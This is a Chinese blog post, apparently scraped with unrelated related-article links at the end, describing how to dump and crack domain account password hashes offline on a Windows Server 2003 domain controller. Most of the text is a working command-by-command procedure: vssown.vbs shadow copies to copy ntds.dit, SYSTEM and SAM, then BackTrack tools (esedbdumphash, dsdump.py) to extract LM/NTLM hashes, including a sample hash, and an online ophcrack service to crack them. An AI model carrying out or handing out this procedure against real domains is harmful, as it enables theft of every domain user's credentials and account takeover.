离线破win2003域账号密码(更新域数据库不在默认路径的情况)
国内网站讲了许多方法,很多也讲得不清楚。我把我尝试成功的经验跟大家分享。
方法是按照tim的文章操作,链接如下:
http://pauldotcom.com/2011/11/safely-dumping-hashes-from-liv.html
一
实验环境:windows server2003,域环境
搭建方法很简单,百度搜搜。
新建一个域用户xiaocai,密码设为 123abcABC
二 win2003下提取文件
1、将vssown.vbs拷到域服务器上,比如拷到域服务器的桌面。
2、以管理员身份运行cmd,执行以下命名:
cd 桌面
cscript //nologo vssown.vbs /start 启用
cscript //nologo vssown.vbs /status 查看运行状态
cscript //nologo vssown.vbs /create C 创建快照
cscript //nologo vssown.vbs /list 查看创建的快照信息
这里可以看到系统内部的路径,将两个ntds.dit和SYSTEM文件复制到桌面,这里的[X]用5代替。
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy[X]\windows\ntds\ntds.dit
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy[X]\windows\system32\config\SYSTEM
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy[X]\windows\system32\config\SAM
提取就文件就结束了,这里我尝试的时候经常失败。有空我再找找资料分析一下到底是什么造成。
再把快照删除(这步可选,建议删除掉)
cscript //nologo vssown.vbs /delete {B3475A72-86D2-48EC-A22F-6E8DBB82903D}
把这3个生成的文件复制出来。
三
提取HASH
先下载工具,BT5,我是用下面这个虚拟机镜相
VMWARE镜像32位:http://ftp.halifax.rwth-aachen.de/backtrack/BT5R1-GNOME-VM-32.7z
登陆密码:
root/toor
开放ssh服务:(开启服务后可以用Secure CRT进行访问,方便传文件)
ssh-keygen -t rsa -f /etc/ssh/ssh_host_rsa_key
ssh-keygen -t dsa -f /etc/ssh/ssh_host_dsa_key
sshd-generate
/etc/init.d/ssh restart
略掉一个截图
用ifconfig查看IP
接着用Secure CRT访问,
按ALT+P 开启SFTP,把文件传到/tmp下
cd /tmp
put SYSTEM ntds.dit ntds_dump_hash.zip
切换到BT5系统标签
cd /tmp
ls
#解压 ntds_dump_hash.zip
unzip ntds_dump_hash.zip
#编译libesedb
cd libesedb
chmod +x configure
./configure && make
#解释数据文件ntds.dit
cd esedbtools
./esedbdumphash ../../ntds.dit
#提取hash
cd ../../creddump/
python ./dsdump.py ../SYSTEM ../libesedb/esedbtools/ntds.dit.export/datatable
提取出来了,找到,
xiaocai:1109:8A79528CCD6E0DBFFCD6B8DB0F458C37:3B0DE00581A39A49946206E0998B7DF7:::
四
破解hash
破解hash方法很多,这里采用网站破解。把加粗的那部分放到网站上去破解:http://www.objectif-securite.ch/en/ophcrack.php
补充:之前有碰到域数据库文件ntds.dit不是存放在默认的c:\windows\ntds\下,比如存放在e:\ntds\下
这时情如果按上面的方法提取,会提示"系统找不到指定路径。
这里建议创建2个快照,一个创建在C盘,一个创建在E盘(ntds.dit所以的盘)。
cscript //nologo vssown.vbs /create C 创建快照,为了提取system
cscript //nologo vssown.vbs /create E 创建快照,为了提取ntds.dit
用对应的方法把这2个文件copy出来。
快照8是 C盘的
快照7是 E盘的
这样就可以顺利地复制出2个文件
这里多注意ntds.dit的路径;system还是默认的路径
这里还要补充一些知识,虽然不够全面,但是也告诉我们一些域服务器的重要信息。我是从下面的url了解到。
http://blogs.technet.com/b/csstwplatform/archive/2008/10/09/ad-ntds-dit.aspx
从上面我们可以看域数据库在注册表中的重要参数,ntds.dit存放的位置是可以修改。这些参数知道对前面的路径的理解有很大的帮助。
成功提取system和ntds.dit两个文件后,按前面第三步起的方法再破解。
这里再秀一下hash,xiaocai是在默认路径下时建立的账号;mimei是把域数据库移动到E:\ntds\后建立的账号。
离线破win2003域账号密码(更新域数据库不在默认路径的情况)的更多相关文章
- git ssh https 踩坑记 ---- 域账号密码更新
前几天突然通知要更新公司的域账号密码,然后git pull就一直报 fatal: Authentication failed for 'https://git ... 很奇怪的是,有一个项目git p ...
- Nodejs通过账号密码连接MongoDB数据库
转自https://blog.csdn.net/szu_lzz/article/details/77435804#commentBox 1.创建管理员 首先开启Mongo服务,然后切换admin数据库 ...
- 已知服务器ftp的账号密码,求解数据库表的内容
一开始觉得这两个是完全不相干的东西,直到出现了这样一个问题,对方网站只有ftp的账号密码,并且能正常访问到代码.但是当需求了解注册人数的时候,后台没有显示,只能到数据库去找,这时怎么找呢? 原来是可以 ...
- weblogic启动受管服务器报错Authentication for user weblogic denied (weblogic 11g 域账号密码不生效的解决方法)
或者 解决方法:
- .Net C#域账号登陆验证
//获取登陆页输入的域账号.密码 string domainIP = ""; //域IP string userAccount = ""; //域账号 stri ...
- devilbox(三):在docker中启动带密码的redis数据库
背景概述: 之前是使用docker搭建了一套集成的开发环境devilbox,也说了这个环境可以自定义.其实搭建这个环境一是为了练习docker使用,二是搭建我们测试环境,主要用到各种数据库,然而安装教 ...
- 使用java连接AD域,验证账号密码是否正确
eb项目中有时候客户要求我们使用ad域进行身份确认,不再另外做一套用户管理系统.其实客户就是只要一套账号可以访问所有的OA,CRM等办公系统.这就是第三方验证.一般有AD域,Ldap,Radius,邮 ...
- SharePoint基于windows验证的如何通过组策略实现IE自动以当前域账号登录SP站点
通过组策略实现IE自动以当前域账号登录SP站点 1. 在运行中运行MMC,启动"组策略对象编辑器". 如下图: 找到组策略如下图: 找到域 点右键编辑 找到如下图: 找到[计算机配 ...
- 通过组策略实现Firefox自动以当前域账号登录MOSS站点---(原创)
忘忧草原创,转发请保留本人的大名,谢谢,如果需要文档的请找我索取 前言 通过组策略实现基于AD的windows验证的sharepoint站点在火狐下自动以当前域账号登录. 操作步骤-在服务器添加策略工 ...
随机推荐
- HDOJ 1028 Ignatius and the Princess III(递推)
Problem Description "Well, it seems the first problem is too easy. I will let you know how fool ...
- 关于unsigned int和int的加法
补码(two's complement) 在计算机系统中,数值一律用补码来表示和存储.原因在于,使用补码,可以将符号位和数值域统一处理:同时,加法和减法也可以统一处理.此外,补码与原码相互转换,其运算 ...
- C# 实现3Des加密 解密
3Des对每个数据块进行了三次的DES加密算法,是DES的一个更安全的变形.比起最初的DES,3DES更为安全. 都是感觉一目了然的摘过来. 下面是加密解密的源码.ECB模式的. public cla ...
- 如何安装Windows 8系统中的telnet组件
知识点分析:Window 8 系统中Telnet没有默认安装,成为了一个可选组件,“启用或关闭Windows功能”下即可添加此组件. 操作步骤:1.系统桌面下同时按住键盘上 “Windows” 和“X ...
- python成长笔记
正则表达式 1. 择一匹配:管道符号(|),表示“从多个模式中选择其一”.例:at|home à at.home 2. 点号匹配除了换行符以外的任何字符 3. 边界匹配:\b匹配一个 ...
- mysql数据库sql常用命令
1.查看索引:mysql> show index from tblname; 2.利用索引查询:SELECT * FROM product WHERE ID > =(select id f ...
- STL中的find_if函数
上一篇文章也讲过,find()函数只能处理简单类型的内容,也就是缺省类型,如果你想用一个自定义类型的数据作为查找依据则会出错!这里将讲述另外一个函数find_if()的用法 这是find()的一个 ...
- [转] GDB attach
转:http://blog.csdn.net/wangeen/article/details/14230171 attach是GDB一种重要的debug模式,在MPI程序debug中发挥重要的作用. ...
- [转] 用GDB调试程序(五)
转:http://blog.csdn.net/haoel/article/details/2883 查看运行时数据——————— 在你调试程序时,当程序被停住时,你可以使用print命令 ...
- Java设计模式---装饰模式
装饰模式又名包装(Wrapper)模式.装饰模式以对客户端透明的方式扩展对象的功能,是继承关系的一个替代方案. 装饰模式的结构 装饰模式以对客户透明的方式动态地给一个对象附加上更多的责任.换言之,客户 ...